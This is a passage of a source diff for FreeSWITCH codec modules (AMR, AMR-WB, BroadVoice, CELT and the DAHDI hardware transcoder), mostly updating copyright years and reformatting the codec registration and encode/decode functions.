switch_amr_init, /* function to initialize a codec handle using this implementation */
switch_amr_encode, /* function to encode raw data into encoded data */
switch_amr_decode, /* function to decode encoded data into raw data */
switch_amr_destroy); /* deinitalize a codec handle using this implementation */
switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
96, /* the IANA code number */
"AMR", /* the IANA code name */
"octet-align=0", /* default fmtp to send (can be overridden by the init function) */
8000, /* samples transferred per second */
8000, /* actual samples transferred per second */
12200, /* bits transferred per second */
20000, /* number of microseconds per frame */
160, /* number of samples per frame */
320, /* number of bytes per frame decompressed */
0, /* number of bytes per frame compressed */
1, /* number of channels represented */
1, /* number of frames per network packet */
switch_amr_init, /* function to initialize a codec handle using this implementation */
switch_amr_encode, /* function to encode raw data into encoded data */
switch_amr_decode, /* function to decode encoded data into raw data */
switch_amr_destroy); /* deinitalize a codec handle using this implementation */
/* indicate that the module should continue to be loaded */
return SWITCH_STATUS_SUCCESS;
+16 -16
View File
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
* Copyright (C) 2005-2009, Anthony Minessale II <anthmct@yahoo.com>
* Copyright (C) 2005-2010, Anthony Minessale II <anthmct@yahoo.com>
*
* Version: MPL 1.1
*
@@ -166,7 +166,8 @@ static switch_status_t switch_amrwb_init(switch_codec_t *codec, switch_codec_fla
context->enc_mode = globals.default_bitrate;
}
switch_snprintf(fmtptmp, sizeof(fmtptmp), "octet-align=%d; mode-set=%d", switch_test_flag(context, AMRWB_OPT_OCTET_ALIGN) ? 1 : 0, context->enc_mode);
switch_snprintf(fmtptmp, sizeof(fmtptmp), "octet-align=%d; mode-set=%d", switch_test_flag(context, AMRWB_OPT_OCTET_ALIGN) ? 1 : 0,
context->enc_mode);
codec->fmtp_out = switch_core_strdup(codec->memory_pool, fmtptmp);
context->enc_mode = AMRWB_DEFAULT_BITRATE;
@@ -205,11 +206,11 @@ static switch_status_t switch_amrwb_destroy(switch_codec_t *codec)
}
static switch_status_t switch_amrwb_encode(switch_codec_t *codec,
switch_codec_t *other_codec,
void *decoded_data,
uint32_t decoded_data_len,
uint32_t decoded_rate, void *encoded_data, uint32_t * encoded_data_len, uint32_t * encoded_rate,
unsigned int *flag)
switch_codec_t *other_codec,
void *decoded_data,
uint32_t decoded_data_len,
uint32_t decoded_rate, void *encoded_data, uint32_t *encoded_data_len, uint32_t *encoded_rate,
unsigned int *flag)
{
#ifdef AMRWB_PASSTHROUGH
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "This codec is only usable in passthrough mode!\n");
@@ -228,11 +229,11 @@ static switch_status_t switch_amrwb_encode(switch_codec_t *codec,
}
static switch_status_t switch_amrwb_decode(switch_codec_t *codec,
switch_codec_t *other_codec,
void *encoded_data,
uint32_t encoded_data_len,
uint32_t encoded_rate, void *decoded_data, uint32_t * decoded_data_len, uint32_t * decoded_rate,
unsigned int *flag)
switch_codec_t *other_codec,
void *encoded_data,
uint32_t encoded_data_len,
uint32_t encoded_rate, void *decoded_data, uint32_t *decoded_data_len, uint32_t *decoded_rate,
unsigned int *flag)
{
#ifdef AMRWB_PASSTHROUGH
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "This codec is only usable in passthrough mode!\n");
@@ -279,10 +280,9 @@ SWITCH_MODULE_LOAD_FUNCTION(mod_amrwb_load)
*module_interface = switch_loadable_module_create_module_interface(pool, modname);
SWITCH_ADD_CODEC(codec_interface, "AMR-WB");
switch_core_codec_add_implementation(pool, codec_interface,
SWITCH_CODEC_TYPE_AUDIO, 100, "AMR-WB", "octet-align=0", 16000, 16000, 23850,
20000, 320, 640, 0, 1, 1,
switch_amrwb_init, switch_amrwb_encode, switch_amrwb_decode, switch_amrwb_destroy);
switch_core_codec_add_implementation(pool, codec_interface,
SWITCH_CODEC_TYPE_AUDIO, 100, "AMR-WB", "octet-align=0", 16000, 16000, 23850,
20000, 320, 640, 0, 1, 1, switch_amrwb_init, switch_amrwb_encode, switch_amrwb_decode, switch_amrwb_destroy);
/* indicate that the module should continue to be loaded */
return SWITCH_STATUS_SUCCESS;
}
+51 -55
View File
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -51,16 +51,16 @@ static switch_status_t switch_bv16_init(switch_codec_t *codec, switch_codec_flag
if (!(encoding || decoding) || (!(context = switch_core_alloc(codec->memory_pool, sizeof(*context))))) {
return SWITCH_STATUS_FALSE;
}
}
if (encoding) {
context->encoder_object = bv16_encode_init(NULL);
}
if (decoding) {
context->decoder_object = bv16_decode_init(NULL);
}
codec->private_info = context;
return SWITCH_STATUS_SUCCESS;
}
@@ -68,7 +68,7 @@ static switch_status_t switch_bv16_init(switch_codec_t *codec, switch_codec_flag
static switch_status_t switch_bv16_destroy(switch_codec_t *codec)
{
struct bv16_context *context = codec->private_info;
if (context->encoder_object) {
bv16_encode_free(context->encoder_object);
}
@@ -134,16 +134,16 @@ static switch_status_t switch_bv32_init(switch_codec_t *codec, switch_codec_flag
if (!(encoding || decoding) || (!(context = switch_core_alloc(codec->memory_pool, sizeof(*context))))) {
return SWITCH_STATUS_FALSE;
}
}
if (encoding) {
context->encoder_object = bv32_encode_init(NULL);
}
if (decoding) {
context->decoder_object = bv32_decode_init(NULL);
}
codec->private_info = context;
return SWITCH_STATUS_SUCCESS;
}
@@ -180,7 +180,7 @@ static switch_status_t switch_bv32_encode(switch_codec_t *codec,
}
*encoded_data_len = bv32_encode(context->encoder_object, (uint8_t *) encoded_data, (int16_t *) decoded_data, decoded_data_len / 2);
return SWITCH_STATUS_SUCCESS;
}
@@ -208,61 +208,57 @@ static switch_status_t switch_bv32_decode(switch_codec_t *codec,
SWITCH_MODULE_LOAD_FUNCTION(mod_bv_load)
{
switch_codec_interface_t *codec_interface;
int mpf, spf, bpf, ebpf, count;
int mpf, spf, bpf, ebpf, count;
/* connect my internal structure to the blank pointer passed to me */
*module_interface = switch_loadable_module_create_module_interface(pool, modname);
SWITCH_ADD_CODEC(codec_interface, "BroadVoice16 (BV16)");
SWITCH_ADD_CODEC(codec_interface, "BroadVoice16 (BV16)");
mpf = 10000, spf = 80, bpf = 160, ebpf = 20;
for (count = 12; count > 0; count--) {
switch_core_codec_add_implementation(pool,
codec_interface,
SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
106, /* the IANA code number */
"BV16", /* the IANA code name */
NULL, /* default fmtp to send (can be overridden by the init function) */
8000, /* samples transferred per second */
8000, /* actual samples transferred per second */
16000, /* bits transferred per second */
mpf * count, /* number of microseconds per frame */
spf * count, /* number of samples per frame */
bpf * count, /* number of bytes per frame decompressed */
ebpf * count, /* number of bytes per frame compressed */
1, /* number of channels represented */
1, /* number of frames per network packet */
switch_bv16_init, /* function to initialize a codec handle using this implementation */
switch_bv16_encode, /* function to encode raw data into encoded data */
switch_bv16_decode, /* function to decode encoded data into raw data */
switch_bv16_destroy); /* deinitalize a codec handle using this implementation */
for (count = 12; count > 0; count--) {
switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
106, /* the IANA code number */
"BV16", /* the IANA code name */
NULL, /* default fmtp to send (can be overridden by the init function) */
8000, /* samples transferred per second */
8000, /* actual samples transferred per second */
16000, /* bits transferred per second */
mpf * count, /* number of microseconds per frame */
spf * count, /* number of samples per frame */
bpf * count, /* number of bytes per frame decompressed */
ebpf * count, /* number of bytes per frame compressed */
1, /* number of channels represented */
1, /* number of frames per network packet */
switch_bv16_init, /* function to initialize a codec handle using this implementation */
switch_bv16_encode, /* function to encode raw data into encoded data */
switch_bv16_decode, /* function to decode encoded data into raw data */
switch_bv16_destroy); /* deinitalize a codec handle using this implementation */
}
SWITCH_ADD_CODEC(codec_interface, "BroadVoice32 (BV32)");
SWITCH_ADD_CODEC(codec_interface, "BroadVoice32 (BV32)");
mpf = 10000, spf = 160, bpf = 320 , ebpf = 40;
mpf = 10000, spf = 160, bpf = 320, ebpf = 40;
for (count = 6; count > 0; count--) {
switch_core_codec_add_implementation(pool,
codec_interface,
SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
127, /* the IANA code number */
"BV32", /* the IANA code name */
NULL, /* default fmtp to send (can be overridden by the init function) */
16000, /* samples transferred per second */
16000, /* actual samples transferred per second */
32000, /* bits transferred per second */
mpf * count, /* number of microseconds per frame */
spf * count, /* number of samples per frame */
bpf * count, /* number of bytes per frame decompressed */
ebpf * count, /* number of bytes per frame compressed */
1, /* number of channels represented */
1, /* number of frames per network packet */
switch_bv32_init, /* function to initialize a codec handle using this implementation */
switch_bv32_encode, /* function to encode raw data into encoded data */
switch_bv32_decode, /* function to decode encoded data into raw data */
switch_bv32_destroy); /* deinitalize a codec handle using this implementation */
for (count = 6; count > 0; count--) {
switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
127, /* the IANA code number */
"BV32", /* the IANA code name */
NULL, /* default fmtp to send (can be overridden by the init function) */
16000, /* samples transferred per second */
16000, /* actual samples transferred per second */
32000, /* bits transferred per second */
mpf * count, /* number of microseconds per frame */
spf * count, /* number of samples per frame */
bpf * count, /* number of bytes per frame decompressed */
ebpf * count, /* number of bytes per frame compressed */
1, /* number of channels represented */
1, /* number of frames per network packet */
switch_bv32_init, /* function to initialize a codec handle using this implementation */
switch_bv32_encode, /* function to encode raw data into encoded data */
switch_bv32_decode, /* function to decode encoded data into raw data */
switch_bv32_destroy); /* deinitalize a codec handle using this implementation */
}
/* indicate that the module should continue to be loaded */
+67 -71
View File
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -51,43 +51,43 @@ static switch_status_t switch_celt_init(switch_codec_t *codec, switch_codec_flag
if (!(encoding || decoding) || (!(context = switch_core_alloc(codec->memory_pool, sizeof(*context))))) {
return SWITCH_STATUS_FALSE;
}
}
context->mode_object = celt_mode_create(codec->implementation->actual_samples_per_second, codec->implementation->samples_per_packet, NULL);
context->mode_object = celt_mode_create(codec->implementation->actual_samples_per_second, codec->implementation->samples_per_packet, NULL);
celt_mode_info(context->mode_object, CELT_GET_FRAME_SIZE, &context->frame_size);
context->bytes_per_packet = (codec->implementation->bits_per_second * context->frame_size/codec->implementation->actual_samples_per_second + 4) / 8;
context->bytes_per_packet = (codec->implementation->bits_per_second * context->frame_size / codec->implementation->actual_samples_per_second + 4) / 8;
/*
if (codec->fmtp_in) {
int x, argc;
char *argv[10];
argc = switch_separate_string(codec->fmtp_in, ';', argv, (sizeof(argv) / sizeof(argv[0])));
for (x = 0; x < argc; x++) {
char *data = argv[x];
char *arg;
switch_assert(data);
while (*data == ' ') {
data++;
}
if ((arg = strchr(data, '='))) {
*arg++ = '\0';
if (!strcasecmp(data, "bitrate")) {
bit_rate = atoi(arg);
}
}
}
}
codec->fmtp_out = switch_core_sprintf(codec->memory_pool, "bitrate=%d", bit_rate);
*/
if (codec->fmtp_in) {
int x, argc;
char *argv[10];
argc = switch_separate_string(codec->fmtp_in, ';', argv, (sizeof(argv) / sizeof(argv[0])));
for (x = 0; x < argc; x++) {
char *data = argv[x];
char *arg;
switch_assert(data);
while (*data == ' ') {
data++;
}
if ((arg = strchr(data, '='))) {
*arg++ = '\0';
if (!strcasecmp(data, "bitrate")) {
bit_rate = atoi(arg);
}
}
}
}
codec->fmtp_out = switch_core_sprintf(codec->memory_pool, "bitrate=%d", bit_rate);
*/
if (encoding) {
context->encoder_object = celt_encoder_create(context->mode_object, 1, NULL);
}
if (decoding) {
context->decoder_object = celt_decoder_create(context->mode_object, 1, NULL);
}
codec->private_info = context;
return SWITCH_STATUS_SUCCESS;
}
@@ -111,8 +111,8 @@ static switch_status_t switch_celt_encode(switch_codec_t *codec,
return SWITCH_STATUS_FALSE;
}
*encoded_data_len = (uint32_t) celt_encode(context->encoder_object, (void *)decoded_data, NULL,
(unsigned char *)encoded_data, context->bytes_per_packet);
*encoded_data_len = (uint32_t) celt_encode(context->encoder_object, (void *) decoded_data, NULL,
(unsigned char *) encoded_data, context->bytes_per_packet);
return SWITCH_STATUS_SUCCESS;
}
@@ -149,52 +149,48 @@ SWITCH_MODULE_LOAD_FUNCTION(mod_celt_load)
/* connect my internal structure to the blank pointer passed to me */
*module_interface = switch_loadable_module_create_module_interface(pool, modname);
SWITCH_ADD_CODEC(codec_interface, "CELT ultra-low delay");
switch_core_codec_add_implementation(pool,
codec_interface,
SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
114, /* the IANA code number */
"CELT", /* the IANA code name */
NULL, /* default fmtp to send (can be overridden by the init function) */
32000, /* samples transferred per second */
32000, /* actual samples transferred per second */
32000, /* bits transferred per second */
10000, /* number of microseconds per frame */
320, /* number of samples per frame */
640, /* number of bytes per frame decompressed */
0, /* number of bytes per frame compressed */
1, /* number of channels represented */
1, /* number of frames per network packet */
switch_celt_init, /* function to initialize a codec handle using this implementation */
switch_celt_encode, /* function to encode raw data into encoded data */
switch_celt_decode, /* function to decode encoded data into raw data */
switch_celt_destroy); /* deinitalize a codec handle using this implementation */
SWITCH_ADD_CODEC(codec_interface, "CELT ultra-low delay");
switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
114, /* the IANA code number */
"CELT", /* the IANA code name */
NULL, /* default fmtp to send (can be overridden by the init function) */
32000, /* samples transferred per second */
32000, /* actual samples transferred per second */
32000, /* bits transferred per second */
10000, /* number of microseconds per frame */
320, /* number of samples per frame */
640, /* number of bytes per frame decompressed */
0, /* number of bytes per frame compressed */
1, /* number of channels represented */
1, /* number of frames per network packet */
switch_celt_init, /* function to initialize a codec handle using this implementation */
switch_celt_encode, /* function to encode raw data into encoded data */
switch_celt_decode, /* function to decode encoded data into raw data */
switch_celt_destroy); /* deinitalize a codec handle using this implementation */
ms_per_frame = 2000;
samples_per_frame = 96;
bytes_per_frame = 192;
for (x = 0; x < 5; x++) {
switch_core_codec_add_implementation(pool,
codec_interface,
SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
114, /* the IANA code number */
"CELT", /* the IANA code name */
NULL, /* default fmtp to send (can be overridden by the init function) */
48000, /* samples transferred per second */
48000, /* actual samples transferred per second */
48000, /* bits transferred per second */
ms_per_frame, /* number of microseconds per frame */
samples_per_frame, /* number of samples per frame */
bytes_per_frame, /* number of bytes per frame decompressed */
0, /* number of bytes per frame compressed */
1, /* number of channels represented */
1, /* number of frames per network packet */
switch_celt_init, /* function to initialize a codec handle using this implementation */
switch_celt_encode, /* function to encode raw data into encoded data */
switch_celt_decode, /* function to decode encoded data into raw data */
switch_celt_destroy); /* deinitalize a codec handle using this implementation */
switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
114, /* the IANA code number */
"CELT", /* the IANA code name */
NULL, /* default fmtp to send (can be overridden by the init function) */
48000, /* samples transferred per second */
48000, /* actual samples transferred per second */
48000, /* bits transferred per second */
ms_per_frame, /* number of microseconds per frame */
samples_per_frame, /* number of samples per frame */
bytes_per_frame, /* number of bytes per frame decompressed */
0, /* number of bytes per frame compressed */
1, /* number of channels represented */
1, /* number of frames per network packet */
switch_celt_init, /* function to initialize a codec handle using this implementation */
switch_celt_encode, /* function to encode raw data into encoded data */
switch_celt_decode, /* function to decode encoded data into raw data */
switch_celt_destroy); /* deinitalize a codec handle using this implementation */
ms_per_frame += 2000;
samples_per_frame += 96;
bytes_per_frame += 192;
+105 -122
View File
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -33,7 +33,7 @@
#include <switch.h>
#include <g711.h>
#include <poll.h>
#include <linux/types.h> /* __u32 */
#include <linux/types.h> /* __u32 */
#include <sys/ioctl.h>
#include <unistd.h>
#include <fcntl.h>
@@ -75,8 +75,8 @@ static uint32_t total_decoders_usage = 0;
#define DAHDI_FORMAT_G729A (1 << 8)
struct dahdi_transcoder_formats {
__u32 srcfmt;
__u32 dstfmt;
__u32 srcfmt;
__u32 dstfmt;
};
struct dahdi_transcoder_info {
@@ -108,15 +108,11 @@ static int32_t switch_dahdi_get_transcoder(struct dahdi_transcoder_formats *fmts
int32_t fdflags;
int32_t fd = open(transcoding_device, O_RDWR);
if (fd < 0) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR,
"Failed to open %s transcoder device: %s.\n",
transcoder_name, strerror(errno));
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Failed to open %s transcoder device: %s.\n", transcoder_name, strerror(errno));
return -1;
}
if (ioctl(fd, DAHDI_TC_ALLOCATE, fmts)) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR,
"Failed to attach to transcoder: %s.\n",
strerror(errno));
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Failed to attach to transcoder: %s.\n", strerror(errno));
close(fd);
return -1;
}
@@ -124,15 +120,14 @@ static int32_t switch_dahdi_get_transcoder(struct dahdi_transcoder_formats *fmts
if (fdflags > -1) {
fdflags |= O_NONBLOCK;
if (fcntl(fd, F_SETFL, fdflags)) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Could not set non-block mode in %s transcoder FD: %s\n",
transcoder_name, strerror(errno));
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Could not set non-block mode in %s transcoder FD: %s\n",
transcoder_name, strerror(errno));
/* should we abort? this may cause channels to hangup when overruning the device
* see jira dahdi codec issue MODCODEC-8 (Hung Calls and Codec DAHDI G.729A 8.0k decoder error!)
* */
}
} else {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Could not get flags from %s transcoder FD: %s\n",
transcoder_name, strerror(errno));
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Could not get flags from %s transcoder FD: %s\n", transcoder_name, strerror(errno));
}
if (fmts->srcfmt & DAHDI_FORMAT_ULAW) {
@@ -154,19 +149,17 @@ static switch_status_t init_encoder(switch_codec_t *codec)
struct dahdi_context *context = codec->private_info;
fmts.srcfmt = DAHDI_FORMAT_ULAW;
fmts.dstfmt = (codec->implementation->ianacode == CODEC_G729_IANA_CODE)
fmts.dstfmt = (codec->implementation->ianacode == CODEC_G729_IANA_CODE)
? DAHDI_FORMAT_G729A : DAHDI_FORMAT_G723_1;
context->encoding_fd = switch_dahdi_get_transcoder(&fmts);
if (context->encoding_fd < 0) {
#ifdef DEBUG_DAHDI_CODEC
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "encoding requested and denied with %d/%d.\n",
fmts.srcfmt, fmts.dstfmt);
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "encoding requested and denied with %d/%d.\n", fmts.srcfmt, fmts.dstfmt);
#endif
return SWITCH_STATUS_FALSE;
}
#ifdef DEBUG_DAHDI_CODEC
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Encoding requested and granted with %d/%d.\n",
fmts.srcfmt, fmts.dstfmt);
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Encoding requested and granted with %d/%d.\n", fmts.srcfmt, fmts.dstfmt);
#endif
@@ -176,23 +169,21 @@ static switch_status_t init_encoder(switch_codec_t *codec)
static switch_status_t init_decoder(switch_codec_t *codec)
{
struct dahdi_transcoder_formats fmts;
struct dahdi_context *context = codec->private_info;
struct dahdi_transcoder_formats fmts;
struct dahdi_context *context = codec->private_info;
fmts.dstfmt = DAHDI_FORMAT_ULAW;
fmts.srcfmt = (codec->implementation->ianacode == CODEC_G729_IANA_CODE)
fmts.srcfmt = (codec->implementation->ianacode == CODEC_G729_IANA_CODE)
? DAHDI_FORMAT_G729A : DAHDI_FORMAT_G723_1;
context->decoding_fd = switch_dahdi_get_transcoder(&fmts);
if (context->decoding_fd < 0) {
#ifdef DEBUG_DAHDI_CODEC
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Decoding requested and denied with %d/%d.\n",
fmts.srcfmt, fmts.dstfmt);
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Decoding requested and denied with %d/%d.\n", fmts.srcfmt, fmts.dstfmt);
#endif
return SWITCH_STATUS_FALSE;
}
#ifdef DEBUG_DAHDI_CODEC
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Decoding requested and granted with %d/%d.\n",
fmts.srcfmt, fmts.dstfmt);
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Decoding requested and granted with %d/%d.\n", fmts.srcfmt, fmts.dstfmt);
#endif
return SWITCH_STATUS_SUCCESS;
@@ -228,7 +219,7 @@ static switch_status_t switch_dahdi_init(switch_codec_t *codec, switch_codec_fla
/* ulaw requires 8 times more storage than g729 and 12 times more than G723, right?
* this can be used to calculate the target buffer when encoding and decoding
* */
context->codec_r = (codec->implementation->ianacode == CODEC_G729_IANA_CODE)
context->codec_r = (codec->implementation->ianacode == CODEC_G729_IANA_CODE)
? 8 : 12;
@@ -238,7 +229,7 @@ static switch_status_t switch_dahdi_init(switch_codec_t *codec, switch_codec_fla
static int wait_for_transcoder(int fd)
{
/* let's wait a bit for the transcoder, if in 20msthe driver does not notify us that its ready to give us something
then just bail out with 0 bytes encoded/decoded as result, I'd expect the card to hold that buffer and return it later */
then just bail out with 0 bytes encoded/decoded as result, I'd expect the card to hold that buffer and return it later */
int res = 0;
struct pollfd readpoll;
memset(&readpoll, 0, sizeof(readpoll));
@@ -246,21 +237,21 @@ static int wait_for_transcoder(int fd)
readpoll.events = POLLIN;
/* my testing shows that it does not take more than 1ms to encode a 160 bytes frame ulaw to g729,
I dont think there is much difference decoding and for g723, waiting 10ms seems more than reasonable */
res = poll(&readpoll, 1, 10);
res = poll(&readpoll, 1, 10);
return res;
}
static switch_status_t switch_dahdi_encode(switch_codec_t *codec,
switch_codec_t *other_codec,
void *decoded_data,
uint32_t decoded_data_len,
uint32_t decoded_rate, void *encoded_data, uint32_t *encoded_data_len, uint32_t *encoded_rate,
unsigned int *flag)
switch_codec_t *other_codec,
void *decoded_data,
uint32_t decoded_data_len,
uint32_t decoded_rate, void *encoded_data, uint32_t *encoded_data_len, uint32_t *encoded_rate,
unsigned int *flag)
{
int32_t res;
short *dbuf_linear;
unsigned char *ebuf_g729;
unsigned char ebuf_ulaw[decoded_data_len/2];
unsigned char ebuf_ulaw[decoded_data_len / 2];
uint32_t i;
struct dahdi_context *context = NULL;
switch_status_t status;
@@ -290,7 +281,8 @@ static switch_status_t switch_dahdi_encode(switch_codec_t *codec,
return SWITCH_STATUS_FALSE;
}
if (i != res) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Requested to write %d bytes to %s encoder device, but only wrote %d bytes.\n", i, transcoder_name, res);
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Requested to write %d bytes to %s encoder device, but only wrote %d bytes.\n", i,
transcoder_name, res);
return SWITCH_STATUS_FALSE;
}
res = wait_for_transcoder(context->encoding_fd);
@@ -333,7 +325,7 @@ static switch_status_t switch_dahdi_decode(switch_codec_t *codec,
int32_t res;
short *dbuf_linear;
// we only can decode up to half ulaw bytes of whatever their destiny linear buffer is
unsigned char dbuf_ulaw[*decoded_data_len/2];
unsigned char dbuf_ulaw[*decoded_data_len / 2];
unsigned char *ebuf_g729;
uint32_t i;
struct dahdi_context *context;
@@ -360,7 +352,7 @@ static switch_status_t switch_dahdi_decode(switch_codec_t *codec,
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Switch DAHDI decode in silence returned %d bytes.\n", *decoded_data_len);
#endif
return SWITCH_STATUS_SUCCESS;
}
}
#ifdef DEBUG_DAHDI_CODEC
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Writing %d bytes to decode.\n", encoded_data_len);
#endif
@@ -370,12 +362,12 @@ static switch_status_t switch_dahdi_decode(switch_codec_t *codec,
return SWITCH_STATUS_FALSE;
}
if (encoded_data_len != res) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Requested to write %d bytes to %s decoder device, but only wrote %d bytes.\n", encoded_data_len, transcoder_name, res);
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Requested to write %d bytes to %s decoder device, but only wrote %d bytes.\n",
encoded_data_len, transcoder_name, res);
return SWITCH_STATUS_FALSE;
}
#ifdef DEBUG_DAHDI_CODEC
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Attempting to read from device %d bytes of decoded ulaw data.\n",
sizeof(dbuf_ulaw));
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Attempting to read from device %d bytes of decoded ulaw data.\n", sizeof(dbuf_ulaw));
#endif
res = wait_for_transcoder(context->decoding_fd);
if (-1 == res) {
@@ -386,7 +378,8 @@ static switch_status_t switch_dahdi_decode(switch_codec_t *codec,
memset(dbuf_linear, 0, codec->implementation->decoded_bytes_per_packet);
*decoded_data_len = codec->implementation->decoded_bytes_per_packet;
#ifdef DEBUG_DAHDI_CODEC
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "No output on %s decoder device, returning silence frame of %d bytes.\n", transcoder_name, *decoded_data_len);
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "No output on %s decoder device, returning silence frame of %d bytes.\n", transcoder_name,
*decoded_data_len);
#endif
return SWITCH_STATUS_SUCCESS;
}
@@ -437,10 +430,8 @@ SWITCH_STANDARD_API(dahdi_transcode_usage)
return SWITCH_STATUS_SUCCESS;
}
switch_mutex_lock(transcoder_counter_mutex);
stream->write_function(stream, "Using %d encoders of a total of %d available.\n",
total_encoders_usage, total_encoders);
stream->write_function(stream, "Using %d decoders of a total of %d available.\n",
total_decoders_usage, total_decoders);
stream->write_function(stream, "Using %d encoders of a total of %d available.\n", total_encoders_usage, total_encoders);
stream->write_function(stream, "Using %d decoders of a total of %d available.\n", total_decoders_usage, total_decoders);
switch_mutex_unlock(transcoder_counter_mutex);
return SWITCH_STATUS_SUCCESS;
}
@@ -452,10 +443,10 @@ SWITCH_MODULE_LOAD_FUNCTION(mod_dahdi_codec_load)
struct stat statbuf;
struct dahdi_transcoder_info info = { 0 };
int32_t fd, res;
int mpf = 20000; /* Algorithmic delay of 15ms with 5ms of look-ahead delay */
int spf = 160;
int bpfd = 320;
int bpfc = 20;
int mpf = 20000; /* Algorithmic delay of 15ms with 5ms of look-ahead delay */
int spf = 160;
int bpfd = 320;
int bpfc = 20;
int fpnp = 20;
total_encoders = 0;
@@ -479,8 +470,7 @@ SWITCH_MODULE_LOAD_FUNCTION(mod_dahdi_codec_load)
fd = open(transcoding_device, O_RDWR);
if (fd < 0) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Failed to open %s transcoder device: %s.\n",
transcoder_name, strerror(errno));
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Failed to open %s transcoder device: %s.\n", transcoder_name, strerror(errno));
return SWITCH_STATUS_FALSE;
}
@@ -491,14 +481,13 @@ SWITCH_MODULE_LOAD_FUNCTION(mod_dahdi_codec_load)
continue;
}
if ((info.dstfmts & DAHDI_FORMAT_ULAW) && (info.srcfmts & (DAHDI_FORMAT_G729A | DAHDI_FORMAT_G723_1))) {
total_decoders += info.numchannels;
total_decoders += info.numchannels;
continue;
}
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE,
"Not using transcoder %s, we just support ULAW and G723.1/G729A", info.name);
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Not using transcoder %s, we just support ULAW and G723.1/G729A", info.name);
}
close(fd);
if (!total_encoders && !total_decoders) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "No DAHDI transcoders found.\n");
return SWITCH_STATUS_FALSE;
@@ -510,79 +499,73 @@ SWITCH_MODULE_LOAD_FUNCTION(mod_dahdi_codec_load)
/* connect my internal structure to the blank pointer passed to me */
*module_interface = switch_loadable_module_create_module_interface(pool, modname);
SWITCH_ADD_CODEC(codec_interface, "DAHDI G.729A 8.0k"); /* 8.0kbit */
switch_core_codec_add_implementation(pool,
codec_interface,
SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
18, /* the IANA code number */
"G729", /* the IANA code name */
NULL, /* default fmtp to send (can be overridden by the init function) */
8000, /* samples transferred per second */
8000, /* actual samples transferred per second */
8000, /* bits transferred per second */
mpf, /* number of microseconds per frame */
spf, /* number of samples per frame */
bpfd, /* number of bytes per frame decompressed */
bpfc, /* number of bytes per frame compressed */
